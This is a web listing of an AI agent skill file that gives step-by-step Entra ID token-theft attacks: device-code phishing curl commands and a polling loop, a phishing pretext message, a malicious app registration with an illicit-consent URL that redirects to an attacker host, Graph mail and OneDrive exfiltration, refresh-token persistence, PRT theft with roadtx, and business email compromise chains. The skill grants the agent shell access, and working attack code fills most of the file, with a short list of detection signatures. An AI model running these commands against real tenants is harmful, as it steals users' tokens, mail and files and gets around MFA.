Skip to main content

entra-device-code-phishing

Entra ID OAuth device-code phishing for token theft, illicit consent grant via malicious app registration with delegated Graph scopes, refresh-token replay, and primary-refresh-token (PRT) abuse concepts.

Zur Installation springen

Quellinformationen

Repository
BitterSecurity/Decepticon
Letzte Quellaktivität
1. Juni 2026 um 23:07
Erkannte Sprache von SKILL.md
Englisch
Sterne
5.565
Forks
1.053

Installationsoptionen

Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.

Quelldateien prüfen

Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.

SKILL.md wird angezeigt

SKILL.md
Quellanweisungen · Schreibgeschützte Vorschau
name
entra-device-code-phishing
description
Entra ID OAuth device-code phishing for token theft, illicit consent grant via malicious app registration with delegated Graph scopes, refresh-token replay, and primary-refresh-token (PRT) abuse concepts.
allowed-tools
Bash Read Write
metadata
{"when_to_use":"entra device code phishing oauth illicit consent malicious app registration delegated scopes refresh token replay prt primary refresh token tokentactics graphrunner","subdomain":"cloud","tags":"azure, entra-id, phishing, oauth, token-theft","mitre_attack":"T1528, T1566.002, T1078.004, T1550.001"}
# Entra Device-Code & Illicit-Consent Phishing Steal Entra ID tokens without ever owning the password. Two primary primitives: 1. **Device-code phishing** — abuse the OAuth 2.0 device authorization grant: target enters YOUR code on the real MS login page. 2. **Illicit consent grant** — register an app, get the user to consent to delegated Graph scopes. Both bypass MFA-at-login (the user already MFAd against the real IdP) and produce tokens with broad scope. ## Phase 1: Device-code flow ### Request the device code ```bash # Use a first-party client ID (impersonate a Microsoft app — no consent prompt). # AzureCLI: 04b07795-8ddb-461a-bbee-02f9e1bf7b46 # Teams: 1fec8e78-bce4-4aaf-ab1b-5451cc387264 # Office: d3590ed6-52b3-4102-aeff-aad2292ab01c CLIENT=04b07795-8ddb-461a-bbee-02f9e1bf7b46 TENANT=<TENANT> # or "common" resp=$(curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/devicecode" \ -d "client_id=${CLIENT}&scope=https://graph.microsoft.com/.default offline_access openid profile") echo "$resp" | jq . DEV_CODE=$(echo "$resp" | jq -r .device_code) USER_CODE=$(echo "$resp" | jq -r .user_code) echo "Send target to: https://microsoft.com/devicelogin CODE: $USER_CODE" ``` ### Pretext delivery Email / Teams message saying *"To join the secure briefing, open `microsoft.com/devicelogin` and enter code `<USER_CODE>`. Code expires in 15 minutes."* — the URL and brand are legitimate Microsoft, which makes it slip past most secure-email gateways. ### Poll for the token ```bash while :; do r=$(curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/token" \ -d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=${CLIENT}&device_code=${DEV_CODE}") err=$(echo "$r" | jq -r .error) case "$err" in authorization_pending) sleep 5 ;; null) echo "$r" | jq . ; ACCESS=$(echo "$r" | jq -r .access_token); REFRESH=$(echo "$r" | jq -r .refresh_token); break ;; *) echo "ERR: $err" ; break ;; esac done ``` ### Family-of-Client-IDs (FOCI) — single token, all Microsoft apps The above CLIENT is a FOCI app. Trade the refresh token for a token of ANY other FOCI app — no new consent: ```bash # Swap to Outlook for mailbox access: curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/token" \ -d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&grant_type=refresh_token&refresh_token=${REFRESH}&scope=https://outlook.office.com/.default offline_access" ``` `TokenTactics` / `TokenTacticsV2` (PowerShell) automates the swap matrix. ## Phase 2: Illicit consent grant (malicious app) ### Register the attacker app ```bash # Register in YOUR attacker tenant (multi-tenant). # Redirect URI: https://<ATTACKER>/redirect ; Sign-in audience: multi-tenant + personal MSA # Add delegated scopes (NO admin consent needed): # Mail.Read, Mail.Send, Files.Read.All, offline_access, openid, profile # Capture App (client) ID = APP_ID APP_ID=<APP_ID> ``` ### Craft the consent URL ```bash SCOPES="https://graph.microsoft.com/Mail.Read https://graph.microsoft.com/Files.Read.All offline_access" REDIR=https://<ATTACKER>/redirect echo "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=${APP_ID}&response_type=code&redirect_uri=${REDIR}&response_mode=query&scope=${SCOPES}&state=phish" ``` Brand the app `Contoso HR Portal` or similar; Microsoft renders YOUR app name on the consent screen. If the tenant has *user consent for low-risk delegated scopes* enabled (default in many tenants), the user single-clicks "Accept" and you have tokens. ### Exchange code for tokens at your redirect ```bash CODE=<CODE_FROM_REDIRECT> curl -s -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \ -d "client_id=${APP_ID}&grant_type=authorization_code&code=${CODE}&redirect_uri=${REDIR}&scope=${SCOPES}&client_secret=<APP_SECRET>" \ | jq . ``` ## Phase 3: Token replay ```bash # Mail exfil curl -s -H "Authorization: Bearer $ACCESS" \ "https://graph.microsoft.com/v1.0/me/messages?\$top=999" | jq . # OneDrive exfil curl -s -H "Authorization: Bearer $ACCESS" \ "https://graph.microsoft.com/v1.0/me/drive/root/search(q='password')" | jq . # Persist via refresh token (90-day inactive TTL on consumer, 14-day default on CA-protected tenants) curl -s -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \ -d "client_id=${APP_ID}&grant_type=refresh_token&refresh_token=${REFRESH}&scope=${SCOPES}" ``` ## Phase 4: Primary Refresh Token (PRT) concepts A PRT is the long-lived token issued to an Entra-joined / Entra-registered Windows device. It is bound to a device key in the TPM. With SYSTEM on the device: ```powershell # ROADtools roadtx (post-exploitation, requires local SYSTEM): roadtx prt -u <UPN> # extract PRT cookie via BrowserCore roadtx browserprtauth # use PRT to silently auth as the user → tokens for any FOCI app # Or: Lee Christensen / Dirk-jan PoCs — request PRT + session key, mint x-ms-RefreshTokenCredential cookie. ``` A stolen PRT effectively == user identity until device revocation. Even MFA isn't re-prompted (PRT already carries MFA claim). ## Chains - **Device-code phish → FOCI swap → Outlook + OneDrive exfil → Teams pretext → second victim**. - **Illicit consent → Mail.Send delegated → internal phishing FROM victim mailbox** (BEC). - **Device-code phish on admin → Graph privesc** (see `entra-privesc` § service-principal credential addition). - **PRT theft (post-RCE on joined endpoint) → app tokens forever** (until device disabled). ## Tools - **TokenTactics / TokenTacticsV2** (Steve Borosh) — PowerShell device-code + FOCI swap. - **GraphRunner** (Beau Bullock) — pull mail/files/teams from a stolen token; pivot via consent. - **roadtx** (ROADtools) — full device-code + PRT support. - **365-Stealer** — illicit-consent automation. - **o365 attack toolkit / Evilginx Microsoft phishlet** — alternative path (full MitM). ## Detection signatures - Entra Sign-in log: `Application = Microsoft Authentication Broker` or `Microsoft Azure CLI` from unusual ASN/country = device-code abuse hallmark. - Audit log: `Consent to application` event with `ConsentType=User` + `Scopes` containing `Mail.Read/Files.Read.All` from a non-IT identity. - MS Defender for Cloud Apps `Unusual addition of credentials to an OAuth app` alert. - Risky sign-in: `unfamiliarFeatures` + `anonymousIP` triggered by token replay from Tor/VPS. ## Decision gate - CA blocks unmanaged devices → use FOCI swap to a client whose CA exclusion (`Microsoft Intune Enrollment`) is wider. - Tenant has `User consent disabled` → only admin-consent path → social-engineer a Global Admin or pre-existing app-owner. - Got Global Admin via consent? Pivot to `entra-privesc` for app-credential persistence (survives password reset). - Got mailbox tokens only? Run BEC playbook via Mail.Send before refresh token expires.
Auf GitHub ansehen